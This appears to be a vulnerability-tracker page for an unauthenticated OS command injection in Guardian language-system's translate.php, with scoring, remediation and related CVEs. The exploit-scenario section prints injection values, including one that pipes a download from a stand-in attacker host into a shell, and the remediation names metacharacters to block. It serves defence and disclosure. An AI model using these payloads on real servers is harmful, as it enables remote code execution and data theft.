Skip to main content

Guardian language-system EUVDEUVD-2026-41064

| CVE-2026-34107 CRITICAL
OS Command Injection (CWE-78)
2026-07-01 VulnCheck GHSA-qp96-wjq3-2qcj
9.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify exposed translate.php endpoint
  2. Delivery
    Craft 'id' parameter with shell metacharacters
  3. Exploit
    Send unauthenticated GET request
  4. Execution
    exec() runs injected OS command
  5. Persist
    Achieve remote code execution
  6. Impact
    Install webshell / exfiltrate data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The exact prerequisite is that the vulnerable endpoint translate.php is network-reachable by the attacker; exploitation is performed by supplying shell metacharacters in the 'id' GET parameter, which is concatenated unsanitized into a PHP exec() call. Per the CVSS vector (AV:N/AC:L/AT:N/PR:N/UI:N), no authentication, no user interaction, and no special non-default configuration are required - this is unauthenticated remote exploitation against reachable installations of Guardian language-system. The main limiting factor is exposure: the attacker must be able to reach translate.php over the network (direct internet exposure or access to the internal network hosting it), and the practical blast radius is bounded by the product's apparently small deployment footprint rather than by any attack precondition.

Impact

All available signals point to high, easily realized risk. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) indicates network-reachable, low-complexity, unauthenticated exploitation requiring no user interaction and yielding high impact to confidentiality, integrity, and availability - a near-worst-case profile consistent with the score of 9.3. Publicly available exploit code lowers the barrier further, so weaponization effort is minimal. The counterweight is exposure and prevalence: this is not a CISA KEV entry (no public exploit identified as actively exploited at time of analysis) and no EPSS score was provided, so widespread automated exploitation is unconfirmed and the product's real-world footprint appears small. Net: technically a critical, trivially exploitable flaw that should be treated as a priority anywhere the product is deployed, but the aggregate fleet-wide risk is bounded by the product's apparent niche deployment rather than by any difficulty of attack. No conflicting signals were found between the CVSS vector and the description - both agree on unauthenticated network RCE.

Exploit ScenarioDerived

An attacker locates an internet-exposed Guardian language-system instance and sends a single crafted GET request to translate.php with an 'id' value such as '1;curl attacker.sh|sh' or '1$(id)', causing the injected commands to run in the server's shell. Because no authentication or user interaction is required and public exploit code already exists, a low-skill attacker can reliably achieve remote code execution and then pivot to install a webshell, exfiltrate data, or deploy further payloads.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
No patch listed yet 0.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 01, 2026

OS command injection in Guardian language-system lets unauthenticated remote attackers run arbitrary shell commands by injecting metacharacters into the 'id' GET parameter of translate.php, which is concatenated directly into a PHP exec() call. Publicly available exploit code exists (published as a gist via VulnCheck), and the CVSS 4.0 base score of 9.3 reflects full compromise of confidentiality, integrity, and availability with no authentication or user interaction. There is no public exploit identified as actively exploited in CISA KEV, so the current risk is driven by ease of exploitation and public PoC rather than confirmed in-the-wild abuse.

RemediationAI

No vendor-released patch version was identified at time of analysis, so no exact fix version can be cited. The definitive fix is a code change: stop passing $_GET['id'] into exec() unsanitized - either validate 'id' against a strict allowlist (for example, enforce that it is an integer via ctype_digit or an (int) cast), or use escapeshellarg() on the value, and prefer argument-safe process APIs over shell string concatenation. As immediate compensating controls until a fixed build is available: restrict network access to translate.php via web-server rules or a WAF (for example, block requests where the 'id' parameter contains shell metacharacters such as ;, |, &, $, backticks, or spaces), place the application behind authentication or an IP allowlist, and consider disabling the language/translation feature that invokes jobs/translate.php if it is not required - the trade-off being loss of translation-job functionality. Also constrain the PHP process's OS privileges and use PHP disable_functions to block exec/shell_exec/system where the application does not legitimately need them, accepting that this may break other features that rely on shelling out. Consult the VulnCheck advisory (https://www.vulncheck.com/advisories/guardian-language-system-unauthenticated-os-command-injection-via-id-parameter-in-translate-php) for updates and any vendor fix.

Affected VersionsENISA

language-system 0 ≤e42c395ec4b03fe62973a669c9209a673838b8a4

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is the translation subsystem of Guardian language-system, a PHP web application. At translate.php line 14 the code builds a shell command string - exec("php jobs/translate.php ".$login_session." ".$_GET['id']." ...") - concatenating the attacker-controlled 'id' request parameter directly into the command passed to PHP's exec(). Because exec() invokes the command through the system shell, any shell metacharacters (;, |, &&, $(), backticks) in 'id' are interpreted by the shell rather than treated as a literal argument. This is the classic root cause of CWE-78 (Improper Neutralization of Special Elements used in an OS Command / 'OS Command Injection'): untrusted input reaching a command interpreter without sanitization, escaping, or use of argument-safe APIs. The single known affected product is identified by CPE cpe:2.3:a:guardian:language-system:*:*:*:*:*:*:*:*.

Know when Guardian gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.8 CRITICAL

Unauthenticated network-reachable endpoint with trivial injection (AV:N/AC:L/PR:N/UI:N) yielding shell command execution, giving full C/I/A impact on the host.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Guardian language-system passes the id GET parameter directly into a PHP exec() call in translate.php (line 14) without sanitization: exec(\"php jobs/translate.php \".$login_session.\" \".$_GET['id'].\" ...\"). No authentication is required. An unauthenticated remote attacker can append shell metacharacters to execute arbitrary OS commands on the server.

Executive ViewAI

Why It Matters

Guardian language-system contains a critical remote code execution vulnerability in translate.php that allows unauthenticated attackers to execute arbitrary system commands. All deployed versions lack a vendor patch, leaving systems fully exposed to complete compromise of data and operations. Immediate network-level containment is required to prevent active exploitation.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to translate.php using firewall/WAF, (2) Implement strict input validation on 'id' parameter to block shell metacharacters (pipes, backticks, semicolons, $(), etc.), (3) Disable translate.php if business operations permit, (4) Deploy IDS/IPS signatures for CVE-2026-34107 exploitation attempts, (5) Enable enhanced logging and alerting on Guardian server process execution.

Threat Intelligence Overview

EPSS Score
0.7%
Top 52% exploitable
Prevalence
Rare
obscure vendor product, no evident enterprise or mass deployment footprint
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.7%
Patch available No
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

67
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +46
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-34106 CRITICAL POC
9.3 Jul 01

Remote code execution in Guardian language-system allows unauthenticated attackers to run arbitrary OS commands by injec

CVE-2026-34099 CRITICAL POC
9.3 Jul 01

Unauthenticated SQL injection in Guardian Language System lets remote attackers manipulate the backend database by injec

CVE-2026-34105 HIGH POC
8.7 Jul 01

Error-based SQL injection in Guardian Language-System allows a network-accessible authenticated attacker to extract the

CVE-2026-34104 HIGH POC
8.7 Jul 01

SQL injection in Guardian Language-System's designer.php (line 124) allows attackers to extract, modify, or destroy the

CVE-2026-34103 HIGH POC
8.7 Jul 01

Error-based SQL injection in Guardian language-system's subtitles.php exposes full database contents to low-privileged a

CVE-2026-34102 HIGH POC
8.7 Jul 01

Error-based SQL injection in Guardian Language-System exposes the full database to low-privileged authenticated attacker

CVE-2026-34101 HIGH POC
8.7 Jul 01

Error-based SQL injection in Guardian language-system's text_file.php exposes the full database to extraction via a triv

CVE-2026-34100 HIGH POC
8.7 Jul 01

SQL injection in Guardian language-system's media.php endpoint allows low-privilege authenticated attackers to extract t

CVE-2020-7049 HIGH POC
7.3 Jun 30

Nozomi Networks OS before 19.0.4 allows /#/network?tab=network_node_list.html CSV Injection. Rated high severity (CVSS 7

CVE-2020-15307 MEDIUM POC
6.1 Jun 30

Nozomi Guardian before 19.0.4 allows attackers to achieve stored XSS (in the web front end) by leveraging the ability to

CVE-2023-29245 CRITICAL
9.2 Sep 19

A SQL Injection vulnerability in Nozomi Networks Guardian and CMC, due to improper input validation in certain fields us

CVE-2026-34098 MEDIUM POC
4.8 Jul 01

Reflected cross-site scripting in Guardian Language-System's media.php allows authenticated attackers to inject arbitrar

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy